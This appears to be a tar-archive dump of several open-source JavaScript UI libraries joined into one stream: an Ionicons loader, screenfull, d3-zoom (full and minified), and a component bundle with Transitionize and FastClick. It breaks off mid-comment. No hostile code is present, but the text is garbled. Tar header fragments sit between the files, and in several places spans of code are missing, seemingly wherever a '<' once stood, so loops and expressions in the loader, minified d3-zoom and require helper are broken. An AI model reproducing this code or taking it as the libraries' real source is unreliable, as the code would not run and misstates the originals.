!function(e,t,n,r,i,o,s,c,a,l,u,d,p,m){for((u=e.ionicons=e.ionicons||{}).components=a,(p=a.map(function(e){return e[0]})).length&&((d=t.createElement("style")).innerHTML=p.join()+"{visibility:hidden}.hydrated{visibility:inherit}",d.setAttribute("data-styles",""),p=t.head.querySelector("meta[charset]"),t.head.insertBefore(d,p?p.nextSibling:t.head.firstChild)),function(e,t,n){(e["s-apps"]=e["s-apps"]||[]).push("ionicons"),n.componentOnReady||(n.componentOnReady=function(){var t=this;function n(n){if(t.nodeName.indexOf("-")>0){for(var r=e["s-apps"],i=0,o=0;o=0&&!(m=p[d]).src&&!m.hasAttribute("data-resources-url");d--);p=m.getAttribute("data-resources-url"),!i&&p&&(i=p),!i&&m.src&&(i=(p=m.src.split("/").slice(0,-1)).join("/")+(p.length?"/":"")+"ionicons/"),d=t.createElement("script"),function(e,t,n,r){return!(t.search.indexOf("core=esm")>0)&&(!(!(t.search.indexOf("core=es5")>0||"file:"===t.protocol)&&e.customElements&&e.customElements.define&&e.fetch&&e.CSS&&e.CSS.supports&&e.CSS.supports("color","var(--c)")&&"noModule"in n)||function(e){try{return new Function('import("")'),!1}catch(e){}return!0}())}(e,e.location,d)?d.src=i+"ionicons.z9r2cndl.js":(d.src=i+"ionicons.uhp57gzi.js",d.setAttribute("type","module"),d.setAttribute("crossorigin",!0)),d.setAttribute("data-resources-url",i),d.setAttribute("data-namespace","ionicons"),t.head.appendChild(d)}(window,document,0,0,0,0,0,0,[["ion-icon","esckjbl8",1,[["ariaLabel",2,1,"aria-label",2],["color",1,0,1,2],["doc",4,0,0,0,"document"],["el",64],["icon",1,0,1,2],["ios",1,0,1,2],["isServer",4,0,0,0,"isServer"],["isVisible",16],["lazy",1,0,1,4],["md",1,0,1,2],["mode",1,0,1,2],["name",1,0,1,2],["resourcesUrl",4,0,0,0,"resourcesUrl"],["size",1,0,1,2],["src",1,0,1,2],["svgContent",16],["win",4,0,0,0,"window"]],1]],HTMLElement.prototype);screenfull.js000064400000007164151701362750007263 0ustar00/*! * screenfull * v3.3.3 - 2018-09-04 * (c) Sindre Sorhus; MIT License */ (function () { 'use strict'; var document = typeof window !== 'undefined' && typeof window.document !== 'undefined' ? window.document : {}; var isCommonjs = typeof module !== 'undefined' && module.exports; var keyboardAllowed = typeof Element !== 'undefined' && 'ALLOW_KEYBOARD_INPUT' in Element; var fn = (function () { var val; var fnMap = [ [ 'requestFullscreen', 'exitFullscreen', 'fullscreenElement', 'fullscreenEnabled', 'fullscreenchange', 'fullscreenerror' ], // New WebKit [ 'webkitRequestFullscreen', 'webkitExitFullscreen', 'webkitFullscreenElement', 'webkitFullscreenEnabled', 'webkitfullscreenchange', 'webkitfullscreenerror' ], // Old WebKit (Safari 5.1) [ 'webkitRequestFullScreen', 'webkitCancelFullScreen', 'webkitCurrentFullScreenElement', 'webkitCancelFullScreen', 'webkitfullscreenchange', 'webkitfullscreenerror' ], [ 'mozRequestFullScreen', 'mozCancelFullScreen', 'mozFullScreenElement', 'mozFullScreenEnabled', 'mozfullscreenchange', 'mozfullscreenerror' ], [ 'msRequestFullscreen', 'msExitFullscreen', 'msFullscreenElement', 'msFullscreenEnabled', 'MSFullscreenChange', 'MSFullscreenError' ] ]; var i = 0; var l = fnMap.length; var ret = {}; for (; i < l; i++) { val = fnMap[i]; if (val && val[1] in document) { for (i = 0; i < val.length; i++) { ret[fnMap[0][i]] = val[i]; } return ret; } } return false; })(); var eventNameMap = { change: fn.fullscreenchange, error: fn.fullscreenerror }; var screenfull = { request: function (elem) { var request = fn.requestFullscreen; elem = elem || document.documentElement; // Work around Safari 5.1 bug: reports support for // keyboard in fullscreen even though it doesn't. // Browser sniffing, since the alternative with // setTimeout is even worse. if (/ Version\/5\.1(?:\.\d+)? Safari\//.test(navigator.userAgent)) { elem[request](); } else { elem[request](keyboardAllowed ? Element.ALLOW_KEYBOARD_INPUT : {}); } }, exit: function () { document[fn.exitFullscreen](); }, toggle: function (elem) { if (this.isFullscreen) { this.exit(); } else { this.request(elem); } }, onchange: function (callback) { this.on('change', callback); }, onerror: function (callback) { this.on('error', callback); }, on: function (event, callback) { var eventName = eventNameMap[event]; if (eventName) { document.addEventListener(eventName, callback, false); } }, off: function (event, callback) { var eventName = eventNameMap[event]; if (eventName) { document.removeEventListener(eventName, callback, false); } }, raw: fn }; if (!fn) { if (isCommonjs) { module.exports = false; } else { window.screenfull = false; } return; } Object.defineProperties(screenfull, { isFullscreen: { get: function () { return Boolean(document[fn.fullscreenElement]); } }, element: { enumerable: true, get: function () { return document[fn.fullscreenElement]; } }, enabled: { enumerable: true, get: function () { // Coerce to boolean in case of old WebKit return Boolean(document[fn.fullscreenEnabled]); } } }); if (isCommonjs) { module.exports = screenfull; } else { window.screenfull = screenfull; } })(); d3-zoom.js000064400000041446151701405020006376 0ustar00// https://d3js.org/d3-zoom/ v1.7.3 Copyright 2018 Mike Bostock (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-selection'), require('d3-dispatch'), require('d3-drag'), require('d3-interpolate'), require('d3-transition')) : typeof define === 'function' && define.amd ? define(['exports', 'd3-selection', 'd3-dispatch', 'd3-drag', 'd3-interpolate', 'd3-transition'], factory) : (factory((global.d3 = global.d3 || {}),global.d3,global.d3,global.d3,global.d3,global.d3)); }(this, (function (exports,d3Selection,d3Dispatch,d3Drag,d3Interpolate,d3Transition) { 'use strict'; function constant(x) { return function() { return x; }; } function ZoomEvent(target, type, transform) { this.target = target; this.type = type; this.transform = transform; } function Transform(k, x, y) { this.k = k; this.x = x; this.y = y; } Transform.prototype = { constructor: Transform, scale: function(k) { return k === 1 ? this : new Transform(this.k * k, this.x, this.y); }, translate: function(x, y) { return x === 0 & y === 0 ? this : new Transform(this.k, this.x + this.k * x, this.y + this.k * y); }, apply: function(point) { return [point[0] * this.k + this.x, point[1] * this.k + this.y]; }, applyX: function(x) { return x * this.k + this.x; }, applyY: function(y) { return y * this.k + this.y; }, invert: function(location) { return [(location[0] - this.x) / this.k, (location[1] - this.y) / this.k]; }, invertX: function(x) { return (x - this.x) / this.k; }, invertY: function(y) { return (y - this.y) / this.k; }, rescaleX: function(x) { return x.copy().domain(x.range().map(this.invertX, this).map(x.invert, x)); }, rescaleY: function(y) { return y.copy().domain(y.range().map(this.invertY, this).map(y.invert, y)); }, toString: function() { return "translate(" + this.x + "," + this.y + ") scale(" + this.k + ")"; } }; var identity = new Transform(1, 0, 0); transform.prototype = Transform.prototype; function transform(node) { return node.__zoom || identity; } function nopropagation() { d3Selection.event.stopImmediatePropagation(); } function noevent() { d3Selection.event.preventDefault(); d3Selection.event.stopImmediatePropagation(); } // Ignore right-click, since that should open the context menu. function defaultFilter() { return !d3Selection.event.button; } function defaultExtent() { var e = this, w, h; if (e instanceof SVGElement) { e = e.ownerSVGElement || e; w = e.width.baseVal.value; h = e.height.baseVal.value; } else { w = e.clientWidth; h = e.clientHeight; } return [[0, 0], [w, h]]; } function defaultTransform() { return this.__zoom || identity; } function defaultWheelDelta() { return -d3Selection.event.deltaY * (d3Selection.event.deltaMode ? 120 : 1) / 500; } function defaultTouchable() { return "ontouchstart" in this; } function defaultConstrain(transform$$1, extent, translateExtent) { var dx0 = transform$$1.invertX(extent[0][0]) - translateExtent[0][0], dx1 = transform$$1.invertX(extent[1][0]) - translateExtent[1][0], dy0 = transform$$1.invertY(extent[0][1]) - translateExtent[0][1], dy1 = transform$$1.invertY(extent[1][1]) - translateExtent[1][1]; return transform$$1.translate( dx1 > dx0 ? (dx0 + dx1) / 2 : Math.min(0, dx0) || Math.max(0, dx1), dy1 > dy0 ? (dy0 + dy1) / 2 : Math.min(0, dy0) || Math.max(0, dy1) ); } function zoom() { var filter = defaultFilter, extent = defaultExtent, constrain = defaultConstrain, wheelDelta = defaultWheelDelta, touchable = defaultTouchable, scaleExtent = [0, Infinity], translateExtent = [[-Infinity, -Infinity], [Infinity, Infinity]], duration = 250, interpolate = d3Interpolate.interpolateZoom, gestures = [], listeners = d3Dispatch.dispatch("start", "zoom", "end"), touchstarting, touchending, touchDelay = 500, wheelDelay = 150, clickDistance2 = 0; function zoom(selection) { selection .property("__zoom", defaultTransform) .on("wheel.zoom", wheeled) .on("mousedown.zoom", mousedowned) .on("dblclick.zoom", dblclicked) .filter(touchable) .on("touchstart.zoom", touchstarted) .on("touchmove.zoom", touchmoved) .on("touchend.zoom touchcancel.zoom", touchended) .style("touch-action", "none") .style("-webkit-tap-highlight-color", "rgba(0,0,0,0)"); } zoom.transform = function(collection, transform$$1) { var selection = collection.selection ? collection.selection() : collection; selection.property("__zoom", defaultTransform); if (collection !== selection) { schedule(collection, transform$$1); } else { selection.interrupt().each(function() { gesture(this, arguments) .start() .zoom(null, typeof transform$$1 === "function" ? transform$$1.apply(this, arguments) : transform$$1) .end(); }); } }; zoom.scaleBy = function(selection, k) { zoom.scaleTo(selection, function() { var k0 = this.__zoom.k, k1 = typeof k === "function" ? k.apply(this, arguments) : k; return k0 * k1; }); }; zoom.scaleTo = function(selection, k) { zoom.transform(selection, function() { var e = extent.apply(this, arguments), t0 = this.__zoom, p0 = centroid(e), p1 = t0.invert(p0), k1 = typeof k === "function" ? k.apply(this, arguments) : k; return constrain(translate(scale(t0, k1), p0, p1), e, translateExtent); }); }; zoom.translateBy = function(selection, x, y) { zoom.transform(selection, function() { return constrain(this.__zoom.translate( typeof x === "function" ? x.apply(this, arguments) : x, typeof y === "function" ? y.apply(this, arguments) : y ), extent.apply(this, arguments), translateExtent); }); }; zoom.translateTo = function(selection, x, y) { zoom.transform(selection, function() { var e = extent.apply(this, arguments), t = this.__zoom, p = centroid(e); return constrain(identity.translate(p[0], p[1]).scale(t.k).translate( typeof x === "function" ? -x.apply(this, arguments) : -x, typeof y === "function" ? -y.apply(this, arguments) : -y ), e, translateExtent); }); }; function scale(transform$$1, k) { k = Math.max(scaleExtent[0], Math.min(scaleExtent[1], k)); return k === transform$$1.k ? transform$$1 : new Transform(k, transform$$1.x, transform$$1.y); } function translate(transform$$1, p0, p1) { var x = p0[0] - p1[0] * transform$$1.k, y = p0[1] - p1[1] * transform$$1.k; return x === transform$$1.x && y === transform$$1.y ? transform$$1 : new Transform(transform$$1.k, x, y); } function centroid(extent) { return [(+extent[0][0] + +extent[1][0]) / 2, (+extent[0][1] + +extent[1][1]) / 2]; } function schedule(transition, transform$$1, center) { transition .on("start.zoom", function() { gesture(this, arguments).start(); }) .on("interrupt.zoom end.zoom", function() { gesture(this, arguments).end(); }) .tween("zoom", function() { var that = this, args = arguments, g = gesture(that, args), e = extent.apply(that, args), p = center || centroid(e), w = Math.max(e[1][0] - e[0][0], e[1][1] - e[0][1]), a = that.__zoom, b = typeof transform$$1 === "function" ? transform$$1.apply(that, args) : transform$$1, i = interpolate(a.invert(p).concat(w / a.k), b.invert(p).concat(w / b.k)); return function(t) { if (t === 1) t = b; // Avoid rounding error on end. else { var l = i(t), k = w / l[2]; t = new Transform(k, p[0] - l[0] * k, p[1] - l[1] * k); } g.zoom(null, t); }; }); } function gesture(that, args) { for (var i = 0, n = gestures.length, g; i < n; ++i) { if ((g = gestures[i]).that === that) { return g; } } return new Gesture(that, args); } function Gesture(that, args) { this.that = that; this.args = args; this.index = -1; this.active = 0; this.extent = extent.apply(that, args); } Gesture.prototype = { start: function() { if (++this.active === 1) { this.index = gestures.push(this) - 1; this.emit("start"); } return this; }, zoom: function(key, transform$$1) { if (this.mouse && key !== "mouse") this.mouse[1] = transform$$1.invert(this.mouse[0]); if (this.touch0 && key !== "touch") this.touch0[1] = transform$$1.invert(this.touch0[0]); if (this.touch1 && key !== "touch") this.touch1[1] = transform$$1.invert(this.touch1[0]); this.that.__zoom = transform$$1; this.emit("zoom"); return this; }, end: function() { if (--this.active === 0) { gestures.splice(this.index, 1); this.index = -1; this.emit("end"); } return this; }, emit: function(type) { d3Selection.customEvent(new ZoomEvent(zoom, type, this.that.__zoom), listeners.apply, listeners, [type, this.that, this.args]); } }; function wheeled() { if (!filter.apply(this, arguments)) return; var g = gesture(this, arguments), t = this.__zoom, k = Math.max(scaleExtent[0], Math.min(scaleExtent[1], t.k * Math.pow(2, wheelDelta.apply(this, arguments)))), p = d3Selection.mouse(this); // If the mouse is in the same location as before, reuse it. // If there were recent wheel events, reset the wheel idle timeout. if (g.wheel) { if (g.mouse[0][0] !== p[0] || g.mouse[0][1] !== p[1]) { g.mouse[1] = t.invert(g.mouse[0] = p); } clearTimeout(g.wheel); } // If this wheel event won’t trigger a transform change, ignore it. else if (t.k === k) return; // Otherwise, capture the mouse point and location at the start. else { g.mouse = [p, t.invert(p)]; d3Transition.interrupt(this); g.start(); } noevent(); g.wheel = setTimeout(wheelidled, wheelDelay); g.zoom("mouse", constrain(translate(scale(t, k), g.mouse[0], g.mouse[1]), g.extent, translateExtent)); function wheelidled() { g.wheel = null; g.end(); } } function mousedowned() { if (touchending || !filter.apply(this, arguments)) return; var g = gesture(this, arguments), v = d3Selection.select(d3Selection.event.view).on("mousemove.zoom", mousemoved, true).on("mouseup.zoom", mouseupped, true), p = d3Selection.mouse(this), x0 = d3Selection.event.clientX, y0 = d3Selection.event.clientY; d3Drag.dragDisable(d3Selection.event.view); nopropagation(); g.mouse = [p, this.__zoom.invert(p)]; d3Transition.interrupt(this); g.start(); function mousemoved() { noevent(); if (!g.moved) { var dx = d3Selection.event.clientX - x0, dy = d3Selection.event.clientY - y0; g.moved = dx * dx + dy * dy > clickDistance2; } g.zoom("mouse", constrain(translate(g.that.__zoom, g.mouse[0] = d3Selection.mouse(g.that), g.mouse[1]), g.extent, translateExtent)); } function mouseupped() { v.on("mousemove.zoom mouseup.zoom", null); d3Drag.dragEnable(d3Selection.event.view, g.moved); noevent(); g.end(); } } function dblclicked() { if (!filter.apply(this, arguments)) return; var t0 = this.__zoom, p0 = d3Selection.mouse(this), p1 = t0.invert(p0), k1 = t0.k * (d3Selection.event.shiftKey ? 0.5 : 2), t1 = constrain(translate(scale(t0, k1), p0, p1), extent.apply(this, arguments), translateExtent); noevent(); if (duration > 0) d3Selection.select(this).transition().duration(duration).call(schedule, t1, p0); else d3Selection.select(this).call(zoom.transform, t1); } function touchstarted() { if (!filter.apply(this, arguments)) return; var g = gesture(this, arguments), touches = d3Selection.event.changedTouches, started, n = touches.length, i, t, p; nopropagation(); for (i = 0; i < n; ++i) { t = touches[i], p = d3Selection.touch(this, touches, t.identifier); p = [p, this.__zoom.invert(p), t.identifier]; if (!g.touch0) g.touch0 = p, started = true; else if (!g.touch1) g.touch1 = p; } // If this is a dbltap, reroute to the (optional) dblclick.zoom handler. if (touchstarting) { touchstarting = clearTimeout(touchstarting); if (!g.touch1) { g.end(); p = d3Selection.select(this).on("dblclick.zoom"); if (p) p.apply(this, arguments); return; } } if (started) { touchstarting = setTimeout(function() { touchstarting = null; }, touchDelay); d3Transition.interrupt(this); g.start(); } } function touchmoved() { var g = gesture(this, arguments), touches = d3Selection.event.changedTouches, n = touches.length, i, t, p, l; noevent(); if (touchstarting) touchstarting = clearTimeout(touchstarting); for (i = 0; i < n; ++i) { t = touches[i], p = d3Selection.touch(this, touches, t.identifier); if (g.touch0 && g.touch0[2] === t.identifier) g.touch0[0] = p; else if (g.touch1 && g.touch1[2] === t.identifier) g.touch1[0] = p; } t = g.that.__zoom; if (g.touch1) { var p0 = g.touch0[0], l0 = g.touch0[1], p1 = g.touch1[0], l1 = g.touch1[1], dp = (dp = p1[0] - p0[0]) * dp + (dp = p1[1] - p0[1]) * dp, dl = (dl = l1[0] - l0[0]) * dl + (dl = l1[1] - l0[1]) * dl; t = scale(t, Math.sqrt(dp / dl)); p = [(p0[0] + p1[0]) / 2, (p0[1] + p1[1]) / 2]; l = [(l0[0] + l1[0]) / 2, (l0[1] + l1[1]) / 2]; } else if (g.touch0) p = g.touch0[0], l = g.touch0[1]; else return; g.zoom("touch", constrain(translate(t, p, l), g.extent, translateExtent)); } function touchended() { var g = gesture(this, arguments), touches = d3Selection.event.changedTouches, n = touches.length, i, t; nopropagation(); if (touchending) clearTimeout(touchending); touchending = setTimeout(function() { touchending = null; }, touchDelay); for (i = 0; i < n; ++i) { t = touches[i]; if (g.touch0 && g.touch0[2] === t.identifier) delete g.touch0; else if (g.touch1 && g.touch1[2] === t.identifier) delete g.touch1; } if (g.touch1 && !g.touch0) g.touch0 = g.touch1, delete g.touch1; if (g.touch0) g.touch0[1] = this.__zoom.invert(g.touch0[0]); else g.end(); } zoom.wheelDelta = function(_) { return arguments.length ? (wheelDelta = typeof _ === "function" ? _ : constant(+_), zoom) : wheelDelta; }; zoom.filter = function(_) { return arguments.length ? (filter = typeof _ === "function" ? _ : constant(!!_), zoom) : filter; }; zoom.touchable = function(_) { return arguments.length ? (touchable = typeof _ === "function" ? _ : constant(!!_), zoom) : touchable; }; zoom.extent = function(_) { return arguments.length ? (extent = typeof _ === "function" ? _ : constant([[+_[0][0], +_[0][1]], [+_[1][0], +_[1][1]]]), zoom) : extent; }; zoom.scaleExtent = function(_) { return arguments.length ? (scaleExtent[0] = +_[0], scaleExtent[1] = +_[1], zoom) : [scaleExtent[0], scaleExtent[1]]; }; zoom.translateExtent = function(_) { return arguments.length ? (translateExtent[0][0] = +_[0][0], translateExtent[1][0] = +_[1][0], translateExtent[0][1] = +_[0][1], translateExtent[1][1] = +_[1][1], zoom) : [[translateExtent[0][0], translateExtent[0][1]], [translateExtent[1][0], translateExtent[1][1]]]; }; zoom.constrain = function(_) { return arguments.length ? (constrain = _, zoom) : constrain; }; zoom.duration = function(_) { return arguments.length ? (duration = +_, zoom) : duration; }; zoom.interpolate = function(_) { return arguments.length ? (interpolate = _, zoom) : interpolate; }; zoom.on = function() { var value = listeners.on.apply(listeners, arguments); return value === listeners ? zoom : value; }; zoom.clickDistance = function(_) { return arguments.length ? (clickDistance2 = (_ = +_) * _, zoom) : Math.sqrt(clickDistance2); }; return zoom; } exports.zoom = zoom; exports.zoomTransform = transform; exports.zoomIdentity = identity; Object.defineProperty(exports, '__esModule', { value: true }); }))); d3-zoom.min.js000064400000021341151701405020007150 0ustar00// https://d3js.org/d3-zoom/ v1.7.3 Copyright 2018 Mike Bostock !function(t,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports,require("d3-selection"),require("d3-dispatch"),require("d3-drag"),require("d3-interpolate"),require("d3-transition")):"function"==typeof define&&define.amd?define(["exports","d3-selection","d3-dispatch","d3-drag","d3-interpolate","d3-transition"],n):n(t.d3=t.d3||{},t.d3,t.d3,t.d3,t.d3,t.d3)}(this,function(t,n,e,o,i,r){"use strict";function u(t){return function(){return t}}function h(t,n,e){this.target=t,this.type=n,this.transform=e}function s(t,n,e){this.k=t,this.x=n,this.y=e}s.prototype={constructor:s,scale:function(t){return 1===t?this:new s(this.k*t,this.x,this.y)},translate:function(t,n){return 0===t&0===n?this:new s(this.k,this.x+this.k*t,this.y+this.k*n)},apply:function(t){return[t[0]*this.k+this.x,t[1]*this.k+this.y]},applyX:function(t){return t*this.k+this.x},applyY:function(t){return t*this.k+this.y},invert:function(t){return[(t[0]-this.x)/this.k,(t[1]-this.y)/this.k]},invertX:function(t){return(t-this.x)/this.k},invertY:function(t){return(t-this.y)/this.k},rescaleX:function(t){return t.copy().domain(t.range().map(this.invertX,this).map(t.invert,t))},rescaleY:function(t){return t.copy().domain(t.range().map(this.invertY,this).map(t.invert,t))},toString:function(){return"translate("+this.x+","+this.y+") scale("+this.k+")"}};var c=new s(1,0,0);function a(t){return t.__zoom||c}function f(){n.event.stopImmediatePropagation()}function l(){n.event.preventDefault(),n.event.stopImmediatePropagation()}function m(){return!n.event.button}function p(){var t,n,e=this;return e instanceof SVGElement?(t=(e=e.ownerSVGElement||e).width.baseVal.value,n=e.height.baseVal.value):(t=e.clientWidth,n=e.clientHeight),[[0,0],[t,n]]}function d(){return this.__zoom||c}function v(){return-n.event.deltaY*(n.event.deltaMode?120:1)/500}function y(){return"ontouchstart"in this}function z(t,n,e){var o=t.invertX(n[0][0])-e[0][0],i=t.invertX(n[1][0])-e[1][0],r=t.invertY(n[0][1])-e[0][1],u=t.invertY(n[1][1])-e[1][1];return t.translate(i>o?(o+i)/2:Math.min(0,o)||Math.max(0,i),u>r?(r+u)/2:Math.min(0,r)||Math.max(0,u))}a.prototype=s.prototype,t.zoom=function(){var t,a,_=m,g=p,k=z,x=v,w=y,M=[0,1/0],T=[[-1/0,-1/0],[1/0,1/0]],b=250,Y=i.interpolateZoom,X=[],q=e.dispatch("start","zoom","end"),E=500,D=150,V=0;function I(t){t.property("__zoom",d).on("wheel.zoom",K).on("mousedown.zoom",O).on("dblclick.zoom",W).filter(w).on("touchstart.zoom",Z).on("touchmove.zoom",A).on("touchend.zoom touchcancel.zoom",C).style("touch-action","none").style("-webkit-tap-highlight-color","rgba(0,0,0,0)")}function P(t,n){return(n=Math.max(M[0],Math.min(M[1],n)))===t.k?t:new s(n,t.x,t.y)}function S(t,n,e){var o=n[0]-e[0]*t.k,i=n[1]-e[1]*t.k;return o===t.x&&i===t.y?t:new s(t.k,o,i)}function j(t){return[(+t[0][0]+ +t[1][0])/2,(+t[0][1]+ +t[1][1])/2]}function B(t,n,e){t.on("start.zoom",function(){G(this,arguments).start()}).on("interrupt.zoom end.zoom",function(){G(this,arguments).end()}).tween("zoom",function(){var t=arguments,o=G(this,t),i=g.apply(this,t),r=e||j(i),u=Math.max(i[1][0]-i[0][0],i[1][1]-i[0][1]),h=this.__zoom,c="function"==typeof n?n.apply(this,t):n,a=Y(h.invert(r).concat(u/h.k),c.invert(r).concat(u/c.k));return function(t){if(1===t)t=c;else{var n=a(t),e=u/n[2];t=new s(e,r[0]-n[0]*e,r[1]-n[1]*e)}o.zoom(null,t)}})}function G(t,n){for(var e,o=0,i=X.length;oV}t.zoom("mouse",k(S(t.that.__zoom,t.mouse[0]=n.mouse(t.that),t.mouse[1]),t.extent,T))},!0).on("mouseup.zoom",function(){e.on("mousemove.zoom mouseup.zoom",null),o.dragEnable(n.event.view,t.moved),l(),t.end()},!0),i=n.mouse(this),u=n.event.clientX,h=n.event.clientY;o.dragDisable(n.event.view),f(),t.mouse=[i,this.__zoom.invert(i)],r.interrupt(this),t.start()}}function W(){if(_.apply(this,arguments)){var t=this.__zoom,e=n.mouse(this),o=t.invert(e),i=t.k*(n.event.shiftKey?.5:2),r=k(S(P(t,i),e,o),g.apply(this,arguments),T);l(),b>0?n.select(this).transition().duration(b).call(B,r,e):n.select(this).call(I.transform,r)}}function Z(){if(_.apply(this,arguments)){var e,o,i,u,h=G(this,arguments),s=n.event.changedTouches,c=s.length;for(f(),o=0;o bLex ? 1 : -1; continue; } else if (aInt > bInt) { return 1; } else { return -1; } } return 0; } /** * Find and require a module which name starts with the provided name. * If multiple modules exists, the highest semver is used. * This function can only be used for remote dependencies. * @param {String} name - module name: `user~repo` * @param {Boolean} returnPath - returns the canonical require path if true, * otherwise it returns the epxorted module */ require.latest = function (name, returnPath) { function showError(name) { throw new Error('failed to find latest module of "' + name + '"'); } // only remotes with semvers, ignore local files conataining a '/' var versionRegexp = /(.*)~(.*)@v?(\d+\.\d+\.\d+[^\/]*)$/; var remoteRegexp = /(.*)~(.*)/; if (!remoteRegexp.test(name)) showError(name); var moduleNames = Object.keys(require.modules); var semVerCandidates = []; var otherCandidates = []; // for instance: name of the git branch for (var i=0; i 0) { var module = semVerCandidates.sort(require.helper.semVerSort).pop().name; if (returnPath === true) { return module; } return require(module); } // if the build contains more than one branch of the same module // you should not use this funciton var module = otherCandidates.sort(function(a, b) {return a.name > b.name})[0].name; if (returnPath === true) { return module; } return require(module); } /** * Registered modules. */ require.modules = {}; /** * Register module at `name` with callback `definition`. * * @param {String} name * @param {Function} definition * @api private */ require.register = function (name, definition) { require.modules[name] = { definition: definition }; }; /** * Define a module's exports immediately with `exports`. * * @param {String} name * @param {Generic} exports * @api private */ require.define = function (name, exports) { require.modules[name] = { exports: exports }; }; require.register("abpetkov~transitionize@0.0.3", function (exports, module) { /** * Transitionize 0.0.3 * https://github.com/abpetkov/transitionize * * Authored by Alexander Petkov * https://github.com/abpetkov * * Copyright 2013, Alexander Petkov * License: The MIT License (MIT) * http://opensource.org/licenses/MIT * */ /** * Expose `Transitionize`. */ module.exports = Transitionize; /** * Initialize new Transitionize. * * @param {Object} element * @param {Object} props * @api public */ function Transitionize(element, props) { if (!(this instanceof Transitionize)) return new Transitionize(element, props); this.element = element; this.props = props || {}; this.init(); } /** * Detect if Safari. * * @returns {Boolean} * @api private */ Transitionize.prototype.isSafari = function() { return (/Safari/).test(navigator.userAgent) && (/Apple Computer/).test(navigator.vendor); }; /** * Loop though the object and push the keys and values in an array. * Apply the CSS3 transition to the element and prefix with -webkit- for Safari. * * @api private */ Transitionize.prototype.init = function() { var transitions = []; for (var key in this.props) { transitions.push(key + ' ' + this.props[key]); } this.element.style.transition = transitions.join(', '); if (this.isSafari()) this.element.style.webkitTransition = transitions.join(', '); }; }); require.register("ftlabs~fastclick@v0.6.11", function (exports, module) { /** * @preserve FastClick: polyfill to remove click delays on browsers with touch UIs. * * @version 0.6.11 * @codingstandard ftlabs-jsv2 * @copyright The Financial Times Limited [All Rights Reserved] * @license MIT License (see LICENSE.txt) */ /*jslint browser:true, node:true*/ /*global define, Event, Node*/ /** * Instantiate fast-clicking listeners on the specificed layer. * * @constructor * @param {Element} layer The layer to listen on */ function FastClick(layer) { 'use strict'; var oldOnClick, self = this; /** * Whether a click is currently being tracked. * * @type boolean */ this.trackingClick = false; /** * Timestamp for when when click tracking started. * * @type number */ this.trackingClickStart = 0; /** * The element being tracked for a click. * * @type EventTarget */ this.targetElement = null; /** * X-coordinate of touch start event. * * @type number */ this.touchStartX = 0; /** * Y-coordinate of touch start event. * * @type number */ this.touchStartY = 0; /** * ID of the last touch, retrieved from Touch.identifier. * * @type number */ this.lastTouchIdentifier = 0; /** * Touchmove boundary, beyond which a click will be cancelled. * * @type number */ this.touchBoundary = 10; /** * The FastClick layer. * * @type Element */ this.layer = layer; if (!layer || !layer.nodeType) { throw new TypeError('Layer must be a document node'); } /** @type function() */ this.onClick = function() { return FastClick.prototype.onClick.apply(self, arguments); }; /** @type function() */ this.onMouse = function() { return FastClick.prototype.onMouse.apply(self, arguments); }; /** @type function() */ this.onTouchStart = function() { return FastClick.prototype.onTouchStart.apply(self, arguments); }; /** @type function() */ this.onTouchMove = function() { return FastClick.prototype.onTouchMove.apply(self, arguments); }; /** @type function() */ this.onTouchEnd = function() { return FastClick.prototype.onTouchEnd.apply(self, arguments); }; /** @type function() */ this.onTouchCancel = function() { return FastClick.prototype.onTouchCancel.apply(self, arguments); }; if (FastClick.notNeeded(layer)) { return; } // Set up event handlers as required if (this.deviceIsAndroid) { layer.addEventListener('mouseover', this.onMouse, true); layer.addEventListener('mousedown', this.onMouse, true); layer.addEventListener('mouseup', this.onMouse, true); } layer.addEventListener('click', this.onClick, true); layer.addEventListener('touchstart', this.onTouchStart, false); layer.addEventListener('touchmove', this.onTouchMove, false); layer.addEventListener('touchend', this.onTouchEnd, false); layer.addEventListener('touchcancel', this.onTouchCancel, false); // Hack is required for browsers that don't support Event#stopImmediatePropagation (e.g. Android 2) // which is how FastClick normally stops click events bubbling to callbacks registered on the FastClick // layer when they are cancelled. if (!Event.prototype.stopImmediatePropagation) { layer.removeEventListener = function(type, callback, capture) { var rmv = Node.prototype.removeEventListener; if (type === 'click') { rmv.call(layer, type, callback.hijacked || callback, capture); } else { rmv.call(layer, type, callback, capture); } }; layer.addEventListener = function(type, callback, capture) { var adv = Node.prototype.addEventListener; if (type === 'click') { adv.call(layer, type, callback.hijacked || (callback.hijacked = function(event) { if (!event.propagationStopped) { callback(event); } }), capture); } else { adv.call(layer, type, callback, capture); } }; } // If a handler is already declared in the element's onclick attribute, it will be fired before // FastClick's onClick handler. Fix this by pulling out the user-defined handler function and // adding it as listener. if (typeof layer.onclick === 'function') { // Android browser on at least 3.2 requires a new reference to the function in layer.onclick // - the old one won't work if passed to addEventListener directly. oldOnClick = layer.onclick; layer.addEventListener('click', function(event) { oldOnClick(event); }, false); layer.onclick = null; } } /** * Android requires exceptions. * * @type boolean */ FastClick.prototype.deviceIsAndroid = navigator.userAgent.indexOf('Android') > 0; /** * iOS requires exceptions. * * @type boolean */ FastClick.prototype.deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent); /** * iOS 4 requires an exception for select elements. * * @type boolean */ FastClick.prototype.deviceIsIOS4 = FastClick.prototype.deviceIsIOS && (/OS 4_\d(_\d)?/).test(navigator.userAgent); /** * iOS 6.0(+?) requires the target element to be manually derived * * @type boolean */ FastClick.prototype.deviceIsIOSWithBadTarget = FastClick.prototype.deviceIsIOS && (/OS ([6-9]|\d{2})_\d/).test(navigator.userAgent); /** * Determine whether a given element requires a native click. * * @param {EventTarget|Element} target Target DOM element * @returns {boolean} Returns true if the element needs a native click */ FastClick.prototype.needsClick = function(target) { 'use strict'; switch (target.nodeName.toLowerCase()) { // Don't send a synthetic click to disabled inputs (issue #62) case 'button': case 'select': case 'textarea': if (target.disabled) { return true; } break; case 'input': // File inputs need real clicks on iOS 6 due to a browser bug (issue #68) if ((this.deviceIsIOS && target.type === 'file') || target.disabled) { return true; } break; case 'label': case 'video': return true; } return (/\bneedsclick\b/).test(target.className); }; /** * Determine whether a given element requires a call to focus to simulate click into element. * * @param {EventTarget|Element} target Target DOM element * @returns {boolean} Returns true if the element requires a call to focus to simulate native click. */ FastClick.prototype.needsFocus = function(target) { 'use strict'; switch (target.nodeName.toLowerCase()) { case 'textarea': return true; case 'select': return !this.deviceIsAndroid; case 'input': switch (target.type) { case 'button': case 'checkbox': case 'file': case 'image': case 'radio': case 'submit': return false; } // No point in attempting to 